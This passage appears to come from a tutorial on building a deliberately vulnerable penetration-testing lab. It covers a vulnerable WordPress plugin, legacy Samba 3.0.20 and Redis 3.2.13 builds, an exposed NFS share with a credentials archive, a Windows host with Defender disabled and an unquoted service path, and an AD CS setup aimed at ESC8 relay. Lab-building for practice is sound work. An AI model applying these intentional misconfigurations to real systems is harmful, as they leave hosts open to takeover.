The vulnerability affects version 1.3.7 of the Backup Migration plugin. Since WordPress only installs the latest version from the plugin repository by default, we need to manually upload the vulnerable release.

First, download the archived plugin version:

1
wget https://downloads.wordpress.org/plugin/backup-backup.1.3.7.zip

image

Next, log in to the WordPress administration panel and navigate to:

1
Plugins → Add New Plugin → Upload Plugin

Upload the archive:

1
backup-backup.1.3.7.zip

image

Once activated, the vulnerable endpoint exposed by CVE-2023-6553 will be available.

image

1
http://localhost//wordpress/wp-content/plugins/backup-backup/

After installation, you can verify that the plugin is present by checking:

image

Perfect now our Initial Foothold is set .

Alternative Setup: Docker

As an alternative to the manual installation, WordPress can also be deployed using Docker. This approach is significantly faster, as the web server, PHP runtime, and WordPress itself are already configured inside the container.

First, install Docker and Docker Compose:

1
2
sudo apt update
sudo apt install docker.io docker-compose -y

Then, enable and start the Docker service:

1
sudo systemctl enable --now docker

We can verify the installation with:

1
2
docker --version
docker-compose --version

At this point, the official WordPress image can be downloaded:

1
docker pull wordpress

Note that the image only contains WordPress and its dependencies, a separate MariaDB container is still required for a fully functional deployment. Nevertheless, Docker provides a quick and reproducible alternative to the manual installation process.

Next, create the following docker-compose.yml file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
services:
  db:
    image: mariadb:latest
    restart: always
    environment:
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wpuser
      MYSQL_PASSWORD: password
      MYSQL_ROOT_PASSWORD: rootpassword

  wordpress:
    image: wordpress:latest
    restart: always
    ports:
      - "80:80"
    environment:
      WORDPRESS_DB_HOST: db:3306
      WORDPRESS_DB_USER: wpuser
      WORDPRESS_DB_PASSWORD: password
      WORDPRESS_DB_NAME: wordpress

    depends_on:
      - db

Start the containers:

1
docker-compose up -d

Docker will automatically download the required images, create both containers, and configure the connection between WordPress and MariaDB.

image

The first error i got is just because of apache already running on port 80 from the manual installation :

1
sudo systemctl stop apache2

Once the deployment is complete, WordPress will be accessible at:

1
http://localhost 

image

The remaining setup steps, creating the administrator account and installing the vulnerable Backup Migration plugin—are identical to the manual installation.

Now let’s move on the PrivEsc path .

Priv Esc :

For this box, the privilege escalation path relies on a deliberately misconfigured SUID binary.

SUID binaries execute with the privileges of their owner instead of the user who runs them. By assigning the SUID bit to a binary owned by root, we can make it execute with root privileges.

To simulate this misconfiguration, we assign the SUID permission to /usr/bin/find:

1
sudo chmod u+s /usr/bin/find

We can verify that the SUID bit is correctly applied:

1
ls -la /usr/bin/find

image

The output should contain an s in the owner’s execute position:

1
-rwsr-xr-x 1 root root ... /usr/bin/find

Now, from the low-privileged www-data shell obtained during exploitation, we can abuse this SUID binary.

Using GTFOBins, we find a known privilege escalation method for find:

1
https://gtfobins.github.io/

More on that in the attack phase .

For now The privilege escalation is complete.

Box 3 is setup , Moving on to Box4 .

Box 4 : ORNN :

ISO Installation :

For this one we will follow the same thing we did with Box3 .

Just check The ISO Installation section on Box 3 .

Of course we can just clone the Box3 , and not have to redo the entire installation :

image

From there we select Full Clone , so that the machine is independent :

image

Finally we just change the name and hit Finish :

image

Once the clone is done , our machine should be setup :

image

We won’t need the Wordpress dependencies (Apache , Maria) so we will just turn off these services later . (keeping them doesn’t affect the rest) .

Scenario :

Foothold :

Setting up the NFS server :

The first service on the bridge box is NFS. The goal is to create a shared directory that will act as the initial information leak point in the lab.

The share will contain a password-protected ZIP archive holding credentials for later stages of the attack chain. The NFS configuration will intentionally include a weak permission setting to reproduce a common infrastructure mistake.

Installing NFS

First, install the NFS server package:

1
2
sudo apt update
sudo apt install nfs-kernel-server -y

Then Enable and start the service:

1
2
sudo systemctl enable nfs-server
sudo systemctl start nfs-server

Verify that NFS is running:

1
sudo systemctl status nfs-server

image

Creating the shared directory :

First we create the directory that will be exposed through NFS:

1
sudo mkdir -p /srv/share

Then we set the permissions for the lab environment:

1
sudo chmod 777 /srv/share

The directory will now be used as the exported NFS share.

NFS (Network File System) works by exporting a local directory so that other machines (NFS clients) can mount it over the network.

The file that controls which directories are shared and who can access them is /etc/exports

1
sudo nano /etc/exports

Inside the File we add our share :

1
/srv/share *(rw,sync,no_subtree_check,insecure)

Explanation:

  • /srv/share → directory being shared
    • → allows any client to connect (use a specific IP in real env)
  • rw → read/write access
  • sync → ensures data is written safely before confirming
  • no_subtree_check → improves performance and avoids path checking issues

We save the file then we apply the changes

1
2
sudo /usr/sbin/exportfs -ra
sudo /usr/sbin/exportfs -v

image

Now our NFS is setup, if we wanted to check :

1
/usr/sbin/showmount -e localhost

image

Creating the credential archive

Inside the share, create the file that will contain the lab credentials.

Create a temporary directory:

1
mkdir ~/credentials

Add the credential file:

1
nano ~/credentials/windows-creds.txt

For the creds file :

1
2
3
4
5
6
7
8
9
10
11
12
13
Automation.txt

[Windows-DC]
Username: Administrator
Password: Password@123456789

[Backup-Service]
Username: svc_backup
Password: Backup@123

[Database]
Username: svc_database
Password: D6$yH1@wZ8!cM4^q

Then we ZIP the file with a password :

1
zip -e ~/credentials/windows-creds.zip  ~/credentials/windows-creds.txt

image

Finally we should move the ZIP file to the NFS Share :

1
sudo mv ~/credentials/windows-creds.zip /srv/share/

Setting Up Samba :

First let’s check if we got Samba :

1
dpkg -l | grep samba

image

We don’t have samba , the problem is that if we try downloading it via apt :

1
sudo apt install samba

It would give us Samba 4.22.x, which is not vulnerable to CVE-2007-2447.

For this lab, we need to install Samba 3.0.20 specifically.

Then we install the Dependencies :

1
2
sudo apt update
sudo apt install -y build-essential wget tar libacl1-dev libldap2-dev libssl-dev

Next we download the samba version that is vulnerable :

1
2
wget https://download.samba.org/pub/samba/stable/samba-3.0.20.tar.gz
tar -xvzf samba-3.0.20.tar.gz

image

Now we go to samba-3.0.20/source :

1
cd samba-3.0.20/source

From there we configure and compile the source :

The build failed on a file handling disk quotas, written for an old Linux version that no longer matches ours. Since quota support isn’t needed for this lab, we just told configure to skip it entirely instead of patching the old code :

1
2
3
4
make distclean
CFLAGS="-std=gnu89" ./configure --without-quotas --without-sys-quotas
make CFLAGS="-std=gnu89"
sudo make install

image

This builds Samba 3.0.20 from source since apt only gives us the patched modern version.

We create the runtime directories Samba expects :

1
2
bashsudo mkdir -p /usr/local/samba/var/locks
sudo mkdir -p /usr/local/samba/lib

Configuring smb.conf :

1
sudo nano /usr/local/samba/lib/smb.conf

Inside the File :

1
2
3
4
5
6
7
8
9
10
11
12
13
[global]
workgroup = WORKGROUP
netbios name = ORNN
security = user
map to guest = Bad User
username map script = /usr/local/samba/lib/username_map.sh
username map = /usr/local/samba/lib/username_map

[tmp]
path = /tmp
guest ok = yes
read only = no
browsable = yes

username map script is the vulnerable directive, it passes the client’s username straight to a shell script.

Save and exit, then we create the map script itself :

1
2
3
4
5
sudo nano /usr/local/samba/lib/username_map.sh

# Inside of it :
#!/bin/bash
echo "$1"

Finally , we make it executable :

1
sudo chmod +x /usr/local/samba/lib/username_map.sh

We also need an empty map file so Samba doesn’t complain on startup :

1
sudo touch /usr/local/samba/lib/username_map

Once that’s done, tell me and we’ll start smbd/nmbd and verify it’s listening.

Quick Note :

Downloading Samba 3.0.20 gives you the vulnerable code, but you still need to enable the feature that triggers it in your config. That’s what we’re doing with the smb.conf setup.

Now we just start the services :

1
2
sudo /usr/local/samba/sbin/smbd -D
sudo /usr/local/samba/sbin/nmbd -D

Then we can check the services :

1
ss -tlnp | grep -E '139|445'

We should see both ports open now :

image

Now The Samba service is all set .

Configuring Redis :

Install Redis from the repos (we need the server, not just the CLI) :

1
2
sudo apt update
sudo apt install redis-server -y

Open the main Redis config file to expose it on all network interfaces :

1
sudo nano /etc/redis/redis.conf

Make sure you modify :

1
2
bind 0.0.0.0
protected-mode no

image

From there we restart the service :

1
sudo systemctl restart redis-server

This version has too much restrictions for arbitrary file write via CONFIG SET, so i used an older version :

Download and compile Redis 3.2.13 (older version without protected-config restrictions) :

1
2
3
4
5
6
cd ~
wget http://download.redis.io/releases/redis-3.2.13.tar.gz
tar -xvzf redis-3.2.13.tar.gz
cd redis-3.2.13
make
sudo make install

This builds Redis 3.2.13 from source, which is vulnerable to arbitrary file write via CONFIG SET without the modern restrictions.

Now we first make a directory for the config and one for where the DB will actually live :

1
2
sudo mkdir -p /usr/local/redis/etc
sudo mkdir -p /var/lib/redis

Now create the config file at /usr/local/redis/etc/redis.conf. Keep the server dumb and normal we just expose it, nothing more :

1
2
3
4
5
6
7
8
9
nano /usr/local/redis/etc/redis.conf

# Inside the file :

bind 0.0.0.0
protected-mode no
port 6379
dir /var/lib/redis
dbfilename dump.rdb
  • bind 0.0.0.0 exposes Redis on all interfaces.
  • protected-mode no disables the safety guard preventing unauthorized connections.
  • dir and dbfilename point at a normal, valid location — /var/lib/redis/dump.rdb.

Kill any old instance and start the vulnerable server. Run it in the foreground first (no &) so you can watch it boot cleanly instead of dying silently :

1
2
sudo pkill -f redis-server
sudo /usr/local/bin/redis-server /usr/local/redis/etc/redis.conf

image

Once you see it come up healthy, Ctrl+C and relaunch it in the background :

1
sudo /usr/local/bin/redis-server /usr/local/redis/etc/redis.conf &

Verify it’s actually listening :

1
redis-cli ping        # -> PONG

Last thing on the server side we create the .ssh folder for the azerty user with correct ownership and permissions, so that when the key gets injected later, SSH’s StrictModes actually accepts it (an existing .ssh that’s 700 and user owned is a normal, healthy SSH setup — we’re not putting any key here yet) :

1
2
3
sudo mkdir -p /home/azerty/.ssh
sudo chown -R azerty:azerty /home/azerty/.ssh
sudo chmod 700 /home/azerty/.ssh

image

Now Redis is setup .

PrivEsc :

Path 1: Samba CVE-2007-2447

Direct unauthenticated RCE as root. No escalation needed ,you’re already root.

Path 2: NFS + svc_backup credentials

Create the svc_backup user with a home directory (this user will be found in the NFS credentials) :

1
sudo useradd -m svc_backup

Set the password to “Backup@123” (this credential will be stored in the /srv/share/windows-creds.zip on the NFS share) :

1
sudo passwd svc_backup

Password can be anything , we’re using : “Backup@123”

Give svc_backup sudo access to run nano without requiring a password. This is the misconfiguration that enables escalation :

1
sudo visudo

Add this line at the very end of the file :

1
svc_backup ALL=(ALL) NOPASSWD: /usr/bin/nano

Save and exit.

Verify the sudoers entry was added correctly :

1
sudo -l -U svc_backup

Should output that nano is allowed without a password.

image

Now the PrivEsc path is also done . Moving on to Box 5 .

Box 5 : Rogue :

ISO Installation :

For this Box we will be using a Windows 10 machine .

First go to the Microsoft Download page :

1
https://www.microsoft.com/en-gb/software-download/windows10

Normally, Microsoft asks you to download the Media Creation Tool, which requires going through the installation process manually.

Instead, there is a small trick that allows us to download the ISO directly.

First we open Browser’s Tools –> Network Tab –> 3 dots –> More Tools –> Network Conditions :

image

From there we uncheck the “User Browser Default” :

image

After that we can modify it to anything else , we can choose Chrome OS .

From there , we just refresh the page :

image

Now we see that we can select the version we want to download :

image

We choose Windows 10 since that’s the only option available , then select the language :

image

Finally, select the x64 edition, as it matches the architecture of our machine then we just wait for it to install .

Once the download is complete, create a new virtual machine:

image

During the installation, select the Education edition. For the product key, simply leave the field empty.

image

For Virtual Disk , We put everything in a single file .

We launch the machine and start our installation :

image

Once the Installation is done , we can login to our machine .

image

Our Windows image is now ready, and we can start building the scenario.

Scenario :

Foothold :

We first need to create the users that will be involved in the scenario.

Open a PowerShell terminal as Administrator and create the backup account:

net user svc_backup "Backup@123" /add

This account will later be discovered through the leaked credentials on the NFS share and will serve as our initial foothold on the machine.

Next, enable the built-in Administrator account:

net user Administrator /active:yes

We will also create our local administrative user:

net user elmehdi 123456789 /add
net localgroup Administrators elmehdi /add

image

Now that the users are in place, we can enable the remote services that will be used throughout the lab.

First, enable WinRM:

Enable-PSRemoting -Force

Then, add the backup account to the Remote Management Users group so that it can authenticate remotely:

net localgroup "Remote Management Users" svc_backup /add

Next, enable Remote Desktop:

Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" `
-Name fDenyTSConnections -Value 0

Enable the corresponding firewall rules for both of these services :

For Winrm :

1
Enable-NetFirewallRule -DisplayGroup "Windows Remote Management"

And for RDP :

1
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"

image

To apply changes , we need to reboot the machine :

Now, to verify that both WinRM and RDP are enabled, we can check the listening ports:

1
netstat -ano | findstr ":3389 :5985"
  • 3389 corresponds to RDP.
  • 5985 corresponds to WinRM over HTTP.

image

Services are set as well .

Now For the sake of the lab, Windows Defender and the real-time protection mechanisms will also be disabled so they do not interfere with the scenario.

The first thing we need to disable is Tamper Protection. This feature prevents administrators and scripts from modifying Microsoft Defender settings, even when running with elevated privileges.

To disable it, open Windows Security and navigate to:

1
Virus & threat protection → Manage settings → Tamper Protection

image

Now that Tamper protection is off , we will be able to disable AV using PS scripts , either we do it now , or until the attack phase :

1
2
3
4
5
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -MAPSReporting 0
Set-MpPreference -SubmitSamplesConsent 2
Set-MpPreference -DisableBehaviorMonitoring $true
Set-MpPreference -DisableScriptScanning $true

image

We can verify it using PS as well :

1
Get-MpPreference | Select-Object DisableRealtimeMonitoring, DisableBehaviorMonitoring, DisableScriptScanning, MAPSReporting, SubmitSamplesConsent

image

Now the Foothold is set . Let’s move on to the privesc setup .

Priv Esc :

The privilege escalation path on this machine relies on a common Windows service misconfiguration: an unquoted service path.

Windows services running executables located in directories containing spaces should have their binary paths wrapped in quotation marks.

For example, a properly configured service path would look like:

1
"C:\Program Files\Backup Service\backup.exe"

However, if the quotation marks are missing:

1
C:\Program Files\Backup Service\backup.exe

Windows may interpret the path incorrectly and attempt to locate the executable by checking different possible paths.

This behavior becomes dangerous when a low-privileged user has both the ability to place an executable in one of the searched locations and the permission to restart the affected service.

When the service is restarted, Windows may execute the attacker-controlled binary with the privileges of the service account, resulting in privilege escalation.

Creating the backup service executable :

Before creating the vulnerable service, we first need a service executable.

Since the Windows machine is meant to resemble a normal enterprise endpoint, we do not install development tools on it. Instead, we build the executable on our Kali machine and only transfer the final binary to the Windows host.

For this, we use MinGW-w64 to cross-compile a Windows executable from Kali.

First, install the required compiler:

1
2
sudo apt update
sudo apt install mingw-w64 -y

Verify the installation :

1
x86_64-w64-mingw32-gcc --version

From there we create a basic c file :

1
2
3
4
5
6
7
8
9
10
11
#include <windows.h>

int main()
{
    while (1)
    {
        Sleep(1000);
    }

    return 0;
}

We then compile it into a Windows executable:

1
x86_64-w64-mingw32-gcc backup.c -o backup.exe -ladvapi32

Verify that the output is a Windows executable:

1
file backup.exe

The output should confirm that it is a Windows PE executable:

1
PE32+ executable (console) x86-64, for MS Windows

image

Now we transfer the executable to the Windows machine.

On Kali, start a simple HTTP server:

1
python3 -m http.server 80

On the Windows machine, download the executable:

Create the directory first :

1
mkdir "C:\Program Files\Backup Service"

Then we transfer the executable :

1
curl http://<KALI_IP>/backup.exe -o "C:\Program Files\Backup Service\backup.exe"

The final location of the service binary will be:

1
C:\Program Files\Backup Service\backup.exe

image

Now that the service executable is ready, we can create the vulnerable Windows service and intentionally introduce the unquoted service path misconfiguration.

The service will run with the default service account:

1
NT AUTHORITY\SYSTEM

This gives the service the highest privileges on the local machine.

We create the service using sc.exe:

1
sc.exe create BackupService binPath= "C:\Program Files\Backup Service\backup.exe" start= auto

The important part here is the binPath parameter.

The path contains spaces:

1
C:\Program Files\Backup Service\backup.exe

Normally, Windows expects paths containing spaces to be wrapped in quotation marks:

1
"C:\Program Files\Backup Service\backup.exe"

However, we intentionally leave the path unquoted to reproduce the vulnerability.

Now we verify the service configuration:

1
sc.exe qc BackupService

The output should show:

1
BINARY_PATH_NAME : C:\Program Files\Backup Service\backup.exe

image

Notice that the binary path is missing quotation marks.

The service is now configured incorrectly and ready to be used in the privilege escalation chain.

Giving svc_backup service restart permissions :

At this point, the vulnerable service exists, but our low-privileged user still needs permission to interact with it.

By default, normal users cannot control Windows services.

To reproduce the enterprise misconfiguration, the service permissions are intentionally modified to allow any local user to start and stop the backup service.

We modify the service security descriptor:

sc.exe sdset BackupService "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;RPWP;;;WD)"

The important entry added at the end is:

1
(A;;RPWP;;;WD)

This gives the Everyone group the ability to interact with the service.

Explanation:

1
2
3
WD  → Everyone
RP  → SERVICE_START
WP  → SERVICE_STOP

We can verify the updated service permissions:

sc.exe sdshow BackupService

image

The output should now contain:

1
(A;;RPWP;;;WD)

Grant Svc_backup Write Acess:

Our user should have write access on the Program Files folder so that we can add our malicious Backup.exe there .

1
2
takeown /F "C:\Program Files"
icacls "C:\Program Files" /grant "svc_backup:(M)"

image

We see that we now have (M) which is Modify permissions .

At this point, the service is fully prepared for exploitation.

Now Box 5 is done . Let’s move on to Box 6 .

Box 6 : DC01 :

ISO Installation :

For this one we will need a Windows Server 2019 , Microsoft offers free trial for 180 days that we can use , simply navigate to :

1
http://microsoft.com/fr-fr/evalcenter/download-windows-server-2019

image

I will install the English version .

Once the Installation is completed , Create a new VM :

  • CPU: 2 vCPUs minimum (4 if your machine can handle it).
  • RAM: 4 GB minimum, 8 GB recommended.
  • Disk: 60–80 GB.
  • Network adapter: NAT for now .

image

Then :

image

We will install the ISO later :

image

Then we select Windows Server 2019 :

image

For the name , we named it DC01 :

image

Select UEFI , we don’t need Secure Boot for this one :

image

For the Processor config :

image

For RAM i gave it around 6GB but 4 will work just fine :

image

For Network we’re using NAT for now , we will modify it later once we install everything we need .

image

For the Logic Type :

image

For the Disk type we will choose the recommended one :

image

For the disk , we choose to create a new disk :

image

Then we store everything in a single file :

image

For the disk file we will leave it as it is :

image

Then we click Finish :

image

Once the VM is created , we will edit the VM :

image

We then choose our ISO file that we just downloaded :

Then we start the machine :

image

We just wait :

image

Finally we start the Installation :

image

We select the Windows Server Desktop Experience :

image

Just agree to the terms and services :

image

For the Installation we choose the Custom one :

image

From there we choose the Drive we specified earlier :

image

From there we just wait :

image

Once the Insatallation is finished , we will need to create a password for our Administrator account :

1
Password@123456789

image

From there , our VM is fully Setup :

image

Now we need to Promote it to a Domain Controller , but that’s for the next section :

Scenario :

Attack Chain :

Install Active Directory Domain Services :

First , open Server Manager .

Then go to Manage –> Add Roles And Features :

image

Select Role-based or feature-based installation :

image

Then we choose our Server :

image

Select Active Directory Domain Services :

image

Then add Feature :

image

We don’t need other features , so we just click Next :

image

For this one we just click Next :

image

Finally we click Install , I also checked the Reset machine if required :

image

Once done we just close everything :

image

Once the Installation is done , we should see a yellow notification flag :

image

Just Click Promote this server to a Domain Controller :

We then Select Add a New Forest and we name it Isolate.local .

image

For the Domain Controller Options , Select Windows Server 2016 for both , then enable DNS Server and Global Catalog , and finally set the DSRM Password :

1
P@123456789#

Quick Note : DSRM is a special boot mode used to repair or restore Active Directory when the domain controller cannot start normally.

image

For DNS Delegation , we just ignore the Warning :

image

For the Netbios , no modifications needed :

image

For the Paths , we keep the default ones :

image

Review Options We just leave the default settings :

image

For now we can ignore the Prerequesits checks and start the Insatallation :

image

Once the Installation is completed it will Restart automatically :

Verify Domain Controller :

After promotion, your machine is no longer a standalone Windows server. It becomes the root of identity and authentication for your lab.

  • Login changes

image

Before we had :

1
DC\Administrator

It means we are using the local Administrator account stored on this machine.

After promotion:

1
Isolate\Administrator

This means We are authenticating against Active Directory in the Isolate domain.

Technically:

  • Local accounts live in the SAM database
  • Domain accounts live in Active Directory (NTDS.dit)

The Domain Controller becomes the authority for:

  • Users
  • Computers
  • Groups
  • Kerberos tickets
  • LDAP queries
  • Group Policy

Now to verify further , Open Powershell :

1
Get-ADDomain

This queries Active Directory through the PowerShell AD module.

It confirms:

  • Domain exists
  • AD DS is working
  • Correct DNS namespace

image

The most important component for us is DNS :

1
Get-Service DNS

image

A Domain Controller normally runs DNS because AD uses DNS for:

  • Domain discovery
  • Kerberos service location
  • LDAP discovery
  • Replication

Create Low Privilege Domain User :

To keep things simple we will keep the same user from Box 5 :

1
svc_backup : "Backup@123"

Quick Note :

To enable Copy paste :

  • VM menu → Manage → Install VMware Tools…
  • Inside the VM , Open Powershell :
1
D:\setup.exe
  • Follow the Installation guide .
  • Reboot the Machine .
  • Shut down the VM
  • VM → Settings → Options tab → Guest Isolation
  • Check Enable copy and paste
  • (Optional) Check Enable drag and drop

image

Now back to the Scenario .

We can create our user via Powershell :

1
2
3
4
5
6
7
New-ADUser `
-Name "svc_backup" `
-SamAccountName "svc_backup" `
-UserPrincipalName "svc_backup@Isolate.local" `
-AccountPassword (ConvertTo-SecureString "Backup@123" -AsPlainText -Force) `
-Enabled $true `
-PasswordNeverExpires $true

Then we verify :

1
Get-ADUser svc_backup

image

Now we can verify that our user can authenticate against Active Directory and perform LDAP queries.

First, we provide the credentials of our domain user:

1
$cred = Get-Credential

image

These credentials will be used by PowerShell when communicating with the Domain Controller.

Next, we use them to query Active Directory:

1
Get-ADUser svc_backup -Credential $cred

image

This command performs an LDAP query against Active Directory using the supplied credentials.

The query succeeds, which confirms that:

  • The svc_backup account exists in the domain.
  • The password is valid.
  • The account is able to authenticate against the Domain Controller.
  • The account can perform LDAP queries as a normal domain user.

Important distinction

This does not mean the user can log in interactively to the Domain Controller.

For example, attempting:

1
runas /user:Isolate\svc_backup cmd

tries to create an interactive logon session on the Domain Controller.

image

Because this server is a Domain Controller, interactive logon rights are restricted through Windows security policies. Regular domain users are typically not allowed to open a local command session on the DC unless they have been granted the appropriate user rights.

Therefore, the runas failure does not indicate that the credentials are invalid. It only shows that this account is not allowed to obtain an interactive logon session on the Domain Controller.

For our ESC8 scenario, this is expected behavior. The account only needs valid domain authentication, not an interactive shell on the DC.

Important Note :

The steps below install ADCS directly on the DC itself. This is worth doing once for practice, since it’s the simplest way to see how the Certification Authority and Web Enrollment roles are configured but it won’t work for the actual attack phase, and it’s worth understanding why before moving on.

ESC8 works by coercing a machine into authenticating, then relaying that authentication to a CA’s Web Enrollment endpoint to request a certificate on its behalf. If the CA is installed on the DC itself, the machine being coerced (DC01$) and the machine receiving the relayed authentication (also DC01) end up being the exact same box. Windows blocks this outright a built-in anti-reflection check in the NTLM authentication layer (msv1_0) detects when a machine’s own authentication is being relayed back to itself and rejects it, regardless of protocol, signing settings, or EPA configuration. There’s no toggle to disable this, it’s a hard block by design.

This is also why, in real-world Active Directory deployments, ADCS should never be installed on a Domain Controller in the first place — beyond the relay issue, it unnecessarily expands the DC’s attack surface for something that has no need to live there.

So for the attack path, we’ll stand up a separate CA server a plain domain-joined member server, not a second DC and relay the coerced DC01$ authentication to that box instead. Two distinct machines on either end of the relay, no reflection block, and a setup that mirrors how ESC8 actually plays out against real environments.

Optional :

Install ADCS (Active Directory Certificate Services) :

Now we need to set up our ADCS .

The goal is to create the certificate infrastructure that ESC8 abuses.

The attack path should look like this :

1
2
3
4
5
6
7
8
9
10
11
12
13
svc_backup credentials
          |
          v
PetitPotam or PrinSpooler coerces DC authentication
          |
          v
NTLM relay
          |
          v
ADCS Web Enrollment (/certsrv)
          |
          v
Certificate for DC machine account

First we Install the ADCS role :

Open Server Manager –> Manage –> Add Roles and Features –> Active Directory Certificate Services

image

Then we Install both :

Certification Authority And Certificate Authority Web Enrollment

image

Why do we need both ?

  • Certification Authority (CA)

This is the certificate issuer.

Think:

1
Computer/User --> Certificate Request --> Enterprise CA --> Certificate issued

Certificate Authority Web Enrollment

This creates:

1
http://DC/certsrv

This is the vulnerable web interface used in ESC8.

Without Web Enrollment:

  • No /certsrv endpoint
  • No NTLM relay target
  • No ESC8

For Select Role services , keep the default ones :

image

And we just start the Installation :

image

Configure ADCS :

Once the Installation is done , Server Manager will show: “Configure Active Directory Certificate Services” .

image

Click it and choose :

1
2
Certification Authority
Certificate Authority Web Enrollment

image

Then for the Setup we select Enterprise CA because this integrates with AD.

image

CA type , we will choose Root CA because this is our first CA.

image

Then we create a new Private Key :

image

The defaults are fine :

1
2
3
RSA
2048 bits
SHA256

image

Then for name “ISOLATE-DC-CA” .

image

And for Validity we’ll keep the default which is 5 years :

image

For the DB , default as well :

image

Then finally we start the configuration :

image

Once done :

image

We can verify it by going to :

Tools –> Certificate Authority :

image

And we should find our new CA :

image

Seeing the CA here confirms that:

  • The Certificate Authority service (CertSvc) is installed.
  • The CA is registered inside Active Directory.
  • The CA database has been initialized.
  • The CA is ready to issue certificates to domain users and computers.

The current architecture is now:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
                 Active Directory Domain
                         |
                         |
                  Enterprise CA
                         |
                         |
                  ISOLATE-DC-CA
                         |
          +--------------+--------------+
          |
          |
    Certificate Templates
          |
          |
    Domain Users / Computers

At this stage, the CA exists, but we still need to verify the Web Enrollment component because ESC8 specifically targets the HTTP enrollment interface.

Step 1 — Verify /certsrv

On the DC, open a browser:

1
http://localhost/certsrv

image

Perfect this confirms that Web Enrollment is working .

Step 2 — Verify IIS Authentication

Open IIS Manager

Navigate to :

1
Sites --> Default Web Site --> certsrv --> Authentication

image

Check:

1
2
Windows Authentication     Enabled
Anonymous Authentication   Disabled

The reason is ESC8 relies on NTLM authentication being accepted by the Web Enrollment endpoint.

image

Perfect everything is set , now onto step 3 .

Step 3 — Check EPA

Still in:

1
Windows Authentication --> Advanced Settings

image

Check Extended Protection, For our vulnerable lab:

Off or Accept NOT Require

image

These are the steps to set up a CA on the same machine as the DC as covered above, unless we had a way to defeat the reflection protection itself, this setup can’t be abused for ESC8. It’s here purely for completeness/practice.

CA01 : Setting up the ADCS for the lab :

First we will set up a new Windows Server , the same Steps as we did with the DC01 will be done to create the VM :

image

For the Administrator Password :

1
Password.123456789

Now first we will remove the Old CA we had , since Having two CAs in the same AD forest can cause template conflicts (e.g., both trying to publish the same certificate templates to AD, or clashing on the DomainController template enrollment), which could make your new CA01 setup behave unpredictably or make it unclear later which CA actually issued/served a given cert during ESC8.

Now back to our DC01 :

1
Server Manager → Remove Roles and Features → uncheck Active Directory Certificate Services

image

We should get this warning , which just means that we need to first uncheck Web Enrollment first , then comeback and uncheck the Certificate Authority :

image

Done , now we go back to

1
Server Manager → Remove Roles and Features → uncheck Active Directory Certificate Services

image

We just click Next and Finally Remove :

image

Now we restart the DC01 :

To confirm no ADCS is in place :

1
2
Get-WindowsFeature ADCS*
certutil -CAInfo

image

If this errors out saying no CA is configured, clean. If it still returns CA details, there’s a stale entry.

Now we can move to the CA01 machine . This time configuring the DNS , and joining the machine to the domain will be done via command line :

First we need to get the NAT Ip address for the DC01 :

image

DC01 IP : ‘192.168.32.151’ .

1
Set-DnsClientServerAddress -InterfaceAlias "Ethernet0" -ServerAddresses 192.168.32.151

image

Now that the DNS is the DC01 , we can join the machine to the domain :

1
Add-Computer -DomainName "Isolate.local" -Credential (Get-Credential) -Restart

This will prompt for domain admin creds, then restart the box.

image

For the credentials :

image

We need to enter the DC01 Administrator account that we set earlier when creating the DC01 :

1
Isolate\Administrator : Password@123456789

If the credentials were correct, the command executes silently and the machine restarts automatically. Once it boots back up, click “Other user” and you should see that it mentions the ISOLATE Domain now :

image

Now we just login with our CA01 machine using the local Administrator account :

We can also confirm the Domain join via Powershell :

1
Get-ComputerInfo | Select CsDomain, CsDomainRole

image

We then change the Hostname to match CA01 :

1
Rename-Computer -NewName "CA01" -DomainCredential (Get-Credential) -Restart

Changing the Hostname of a domain joined machine requires domain authentication , so we need to specify the creds for the Domain Admin :

1
Isolate\Administrator : Password@123456789

Now we just Install both Web Enrollment and ADCS Role on the CA01 via Powershell :

1
Install-WindowsFeature ADCS-Cert-Authority, ADCS-Web-Enrollment -IncludeManagementTools

image

Once done :

image

Now we open the Service Manager , and we should see a yellow flag again , this means we should complete the ADCS setup :

image

Now for the Confiugration :

  • Credentials : use Isolate\Administrator (domain admin), since Enterprise CA setup requires Enterprise Admins group membership, not local admin rights.

image

  • Role Services : check Certification Authority and Certification Authority Web Enrollment (the latter is what exposes the /certsrv/ HTTP interface ESC8 targets).

image

  • Setup Type : Enterprise CA, since it needs AD integration to read/issue against AD-based templates like DomainController.

image

  • CA Type : Root CA, since this is the only CA in the lab’s PKI hierarchy.

image

  • Private Key : Create a new private key (default).

image

  • Cryptography : defaults (RSA, 2048-bit, SHA256) are fine for a lab

image

  • CA Name : leave the auto-generated Common Name/DN as-is; nothing here needs customizing.

image

  • Validity Period : default (5 years).

image

  • Certificate Database : default paths.

image

  • Confirmation → click Configure.

image

Once done :

image

We just reset the machine .

Then we log in as the Domain Administrator not the Local Administrator :

1
Isolate\Administrator : Password@123456789

From there we test if the CA was created successfully :

1
2
certutil -CAInfo
certutil -CATemplates

image

Everything is set :

Establishing CA Trust for PKINIT Authentication :

Just One last thing : Before the attack can work, the DC needs to explicitly trust the CA’s certificate for Kerberos certificate-based (PKINIT) authentication.

After the wizard completes, one additional step is required before the CA can be used for PKINIT-based authentication (which ESC8 relies on). The DC needs to explicitly trust this CA for certificate-based logon — this is controlled by the NTAuthCertificates object in AD’s Configuration partition.

While an Enterprise Root CA is supposed to auto-publish itself there during install, this doesn’t always propagate to the DC immediately. To ensure it’s in place, export the CA certificate from CA01 and manually add it to the DC’s NTAuth store:

On CA01:

1
certutil -ca.cert C:\ca01.cer

Transfer ca01.cer to DC01, then on DC01:

1
2
3
certutil -enterprise -addstore NTAuth C:\ca01.cer
certutil -pulse
gpupdate /force

Verify it landed:

1
certutil -viewstore -enterprise NTAuth

The CA01 certificate should now appear in the output. Without this step, Certipy’s PKINIT authentication will fail with KDC_ERROR_CLIENT_NOT_TRUSTED even if the relay and certificate issuance worked perfectly.

Now we’ve configured everything in the NAT Network , we need to setup the Internal Network now and ensure the connectivity .

Networking :

Creating the NIC :

Before we touch a single box, we need to get the network right. We don’t want a flat network where Kali can just spray the whole subnet and reach the Domain Controller directly. That’s not how a real engagement looks , and it defeats the point.

